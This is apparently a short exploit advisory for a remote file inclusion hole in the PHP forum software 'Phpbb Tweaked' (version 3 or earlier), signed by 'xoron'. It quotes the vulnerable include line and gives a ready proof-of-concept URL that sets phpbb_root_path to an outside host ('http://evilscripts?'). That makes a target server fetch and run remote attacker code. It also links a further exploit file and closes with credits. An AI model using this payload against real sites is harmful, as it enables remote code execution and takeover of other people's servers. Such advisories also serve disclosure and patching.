Phpbb Tweaked <= 3 (phpbb_root_path) Remote Inclusion Vulnerability

----------------------------------------------- Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit ----------------------------------------------- Author: xoron xoron.biz - xoron.info ----------------------------------------------- Code: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx ); ----------------------------------------------- POC: www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts? ----------------------------------------------- Exploit: www.xoron.info/bugs/phpbbtweaked.txt ----------------------------------------------- download: http://sourceforge.net/projects/phpbbtweaked/ ----------------------------------------------- Tesekkurler: pang0, chaos, can bjorn Thanx: str0ke, kacper   ----------------------------------------------- xoron gider izi kalir, selametle. kaybetmenin tiryakisi bir cocuk xoron. Adimizi altin harflerle yazdik. -----------------------------------------------